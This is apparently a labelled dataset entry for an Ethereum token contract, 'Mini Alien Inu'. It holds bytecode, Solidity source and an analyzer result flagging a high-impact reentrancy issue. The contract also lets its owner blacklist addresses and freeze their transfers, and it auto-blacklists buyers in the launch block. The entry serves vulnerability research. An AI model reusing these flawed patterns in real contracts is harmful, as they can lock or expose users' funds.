20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613ee7816138ce565b8114613ef257600080fd5b50565b613efe816138e0565b8114613f0957600080fd5b50565b613f158161390c565b8114613f2057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a13c910729276b9958ae38b93f1a6b2694c6ae5df5e761c6abf72237b6dde33b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,058
0xb418c47781099b777a886ba28ee11bd0ab2f3871
pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract MiniAlienInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e11 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Mini Alien Inu"; string private constant _symbol = "MINIALIEN"; uint private constant _decimals = 9; uint256 private _teamFee = 5; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(5).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(5).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(5).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (60 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setNoTaxMode(bool onoff) external onlyOwner() { _noTaxMode = onoff; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 10, "Team fee cannot be larger than 10%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063b515566a1161008a578063cf9d4afa11610064578063cf9d4afa1461050d578063dd62ed3e14610536578063e6ec64ec14610573578063f2fde38b1461059c57610171565b8063b515566a146104a4578063c9567bf9146104cd578063cf0848f7146104e457610171565b806370a0823114610394578063715018a6146103d15780638da5cb5b146103e857806390d49b9d1461041357806395d89b411461043c578063a9059cbb1461046757610171565b806331c2d8471161012357806331c2d847146102885780633bbac579146102b1578063437823ec146102ee578063476343ee146103175780634b740b161461032e5780635342acb41461035757610171565b806306d8ea6b1461017657806306fdde031461018d578063095ea7b3146101b857806318160ddd146101f557806323b872dd14610220578063313ce5671461025d57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105c5565b005b34801561019957600080fd5b506101a261065a565b6040516101af9190612ae7565b60405180910390f35b3480156101c457600080fd5b506101df60048036038101906101da9190612bb1565b610697565b6040516101ec9190612c0c565b60405180910390f35b34801561020157600080fd5b5061020a6106b5565b6040516102179190612c36565b60405180910390f35b34801561022c57600080fd5b5061024760048036038101906102429190612c51565b6106c6565b6040516102549190612c0c565b60405180910390f35b34801561026957600080fd5b5061027261079f565b60405161027f9190612c36565b60405180910390f35b34801561029457600080fd5b506102af60048036038101906102aa9190612dec565b6107a8565b005b3480156102bd57600080fd5b506102d860048036038101906102d39190612e35565b6108b9565b6040516102e59190612c0c565b60405180910390f35b3480156102fa57600080fd5b5061031560048036038101906103109190612ea0565b61090f565b005b34801561032357600080fd5b5061032c6109e6565b005b34801561033a57600080fd5b5061035560048036038101906103509190612ef9565b610a57565b005b34801561036357600080fd5b5061037e60048036038101906103799190612e35565b610af0565b60405161038b9190612c0c565b60405180910390f35b3480156103a057600080fd5b506103bb60048036038101906103b69190612e35565b610b46565b6040516103c89190612c36565b60405180910390f35b3480156103dd57600080fd5b506103e6610b97565b005b3480156103f457600080fd5b506103fd610c1f565b60405161040a9190612f35565b60405180910390f35b34801561041f57600080fd5b5061043a60048036038101906104359190612ea0565b610c48565b005b34801561044857600080fd5b50610451610dfc565b60405161045e9190612ae7565b60405180910390f35b34801561047357600080fd5b5061048e60048036038101906104899190612bb1565b610e39565b60405161049b9190612c0c565b60405180910390f35b3480156104b057600080fd5b506104cb60048036038101906104c69190612dec565b610e57565b005b3480156104d957600080fd5b506104e261104e565b005b3480156104f057600080fd5b5061050b60048036038101906105069190612ea0565b611153565b005b34801561051957600080fd5b50610534600480360381019061052f9190612ea0565b61122a565b005b34801561054257600080fd5b5061055d60048036038101906105589190612f50565b6115c4565b60405161056a9190612c36565b60405180910390f35b34801561057f57600080fd5b5061059a60048036038101906105959190612f90565b61164b565b005b3480156105a857600080fd5b506105c360048036038101906105be9190612e35565b611715565b005b6105cd61180d565b73ffffffffffffffffffffffffffffffffffffffff166105eb610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890613009565b60405180910390fd5b600061064c30610b46565b905061065781611815565b50565b60606040518060400160405280600e81526020017f4d696e6920416c69656e20496e75000000000000000000000000000000000000815250905090565b60006106ab6106a461180d565b8484611a8e565b6001905092915050565b600068056bc75e2d63100000905090565b60006106d3848484611c59565b610794846106df61180d565b61078f85604051806060016040528060288152602001613bb360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561180d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229f9092919063ffffffff16565b611a8e565b600190509392505050565b60006009905090565b6107b061180d565b73ffffffffffffffffffffffffffffffffffffffff166107ce610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b90613009565b60405180910390fd5b60005b81518110156108b55760006005600084848151811061084957610848613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108ad90613087565b915050610827565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61091761180d565b73ffffffffffffffffffffffffffffffffffffffff16610935610c1f565b73ffffffffffffffffffffffffffffffffffffffff161461098b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098290613009565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000479050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610a53573d6000803e3d6000fd5b5050565b610a5f61180d565b73ffffffffffffffffffffffffffffffffffffffff16610a7d610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610ad3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aca90613009565b60405180910390fd5b80600c60156101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610b90600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612303565b9050919050565b610b9f61180d565b73ffffffffffffffffffffffffffffffffffffffff16610bbd610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0a90613009565b60405180910390fd5b610c1d6000612371565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610c5061180d565b73ffffffffffffffffffffffffffffffffffffffff16610c6e610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbb90613009565b60405180910390fd5b600060046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606040518060400160405280600981526020017f4d494e49414c49454e0000000000000000000000000000000000000000000000815250905090565b6000610e4d610e4661180d565b8484611c59565b6001905092915050565b610e5f61180d565b73ffffffffffffffffffffffffffffffffffffffff16610e7d610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eca90613009565b60405180910390fd5b60005b815181101561104a57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f2b57610f2a613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610fbf5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f9e57610f9d613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561103757600160056000848481518110610fdd57610fdc613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061104290613087565b915050610ed6565b5050565b61105661180d565b73ffffffffffffffffffffffffffffffffffffffff16611074610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c190613009565b60405180910390fd5b600c60149054906101000a900460ff16611119576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111090613142565b60405180910390fd5b6001600c60176101000a81548160ff02191690831515021790555042600d81905550610e10600d5461114b9190613162565b600e81905550565b61115b61180d565b73ffffffffffffffffffffffffffffffffffffffff16611179610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146111cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c690613009565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61123261180d565b73ffffffffffffffffffffffffffffffffffffffff16611250610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146112a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129d90613009565b60405180910390fd5b600c60149054906101000a900460ff16156112f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ed9061322a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561135a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137e919061325f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611409919061325f565b6040518363ffffffff1660e01b815260040161142692919061328c565b6020604051808303816000875af1158015611445573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611469919061325f565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff0219169083151502179055505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61165361180d565b73ffffffffffffffffffffffffffffffffffffffff16611671610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146116c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116be90613009565b60405180910390fd5b600a81111561170b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170290613327565b60405180910390fd5b8060088190555050565b61171d61180d565b73ffffffffffffffffffffffffffffffffffffffff1661173b610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614611791576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178890613009565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611801576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f8906133b9565b60405180910390fd5b61180a81612371565b50565b600033905090565b6001600c60166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561184d5761184c612ca9565b5b60405190808252806020026020018201604052801561187b5781602001602082028036833780820191505090505b509050308160008151811061189357611892613029565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561193a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061195e919061325f565b8160018151811061197257611971613029565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506119d930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a8e565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611a3d9594939291906134dc565b600060405180830381600087803b158015611a5757600080fd5b505af1158015611a6b573d6000803e3d6000fd5b50505050506000600c60166101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af5906135a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b659061363a565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c4c9190612c36565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611cc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc0906136cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d309061375e565b60405180910390fd5b60008111611d7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d73906137f0565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e00906138a8565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611eaf5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600c60159054906101000a900460ff16155b8015611f795750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611f785750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b1561228d57600c60179054906101000a900460ff16611fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc490613914565b60405180910390fd5b60019050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561207c5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612089575042600e54115b156120eb57600061209984610b46565b90506120cb60646120bd600568056bc75e2d6310000061243590919063ffffffff16565b6124b090919063ffffffff16565b6120de82856124fa90919063ffffffff16565b11156120e957600080fd5b505b600d5442141561214e576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600061215930610b46565b9050600c60169054906101000a900460ff161580156121c65750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561228b57600081111561228a5761222560646122176005612209600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b46565b61243590919063ffffffff16565b6124b090919063ffffffff16565b8111156122805761227d606461226f6005612261600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b46565b61243590919063ffffffff16565b6124b090919063ffffffff16565b90505b61228981611815565b5b5b505b61229984848484612558565b50505050565b60008383111582906122e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122de9190612ae7565b60405180910390fd5b50600083856122f69190613934565b9050809150509392505050565b600060065482111561234a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612341906139da565b60405180910390fd5b600061235461272f565b905061236981846124b090919063ffffffff16565b915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008083141561244857600090506124aa565b6000828461245691906139fa565b90508284826124659190613a83565b146124a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249c90613b26565b60405180910390fd5b809150505b92915050565b60006124f283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061275a565b905092915050565b60008082846125099190613162565b90508381101561254e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254590613b92565b60405180910390fd5b8091505092915050565b8080612567576125666127bd565b5b600080600080612576876127df565b93509350935093506125d084600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282e90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266583600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fa90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b181612878565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161270e9190612c36565b60405180910390a3505050508061272857612727612935565b5b5050505050565b600080600061273c612940565b9150915061275381836124b090919063ffffffff16565b9250505090565b600080831182906127a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127989190612ae7565b60405180910390fd5b50600083856127b09190613a83565b9050809150509392505050565b6000600854116127cc57600080fd5b6008546009819055506000600881905550565b6000806000806000806127f4876008546129a2565b91509150600061280261272f565b90506000806128128a85856129f5565b9150915081818686985098509850985050505050509193509193565b600061287083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061229f565b905092915050565b600061288261272f565b90506000612899828461243590919063ffffffff16565b90506128ed81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fa90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600954600881905550565b60008060006006549050600068056bc75e2d63100000905061297668056bc75e2d631000006006546124b090919063ffffffff16565b8210156129955760065468056bc75e2d6310000093509350505061299e565b81819350935050505b9091565b60008060006129cd60646129bf868861243590919063ffffffff16565b6124b090919063ffffffff16565b905060006129e4828761282e90919063ffffffff16565b905080829350935050509250929050565b6000806000612a0d848761243590919063ffffffff16565b90506000612a2485876124359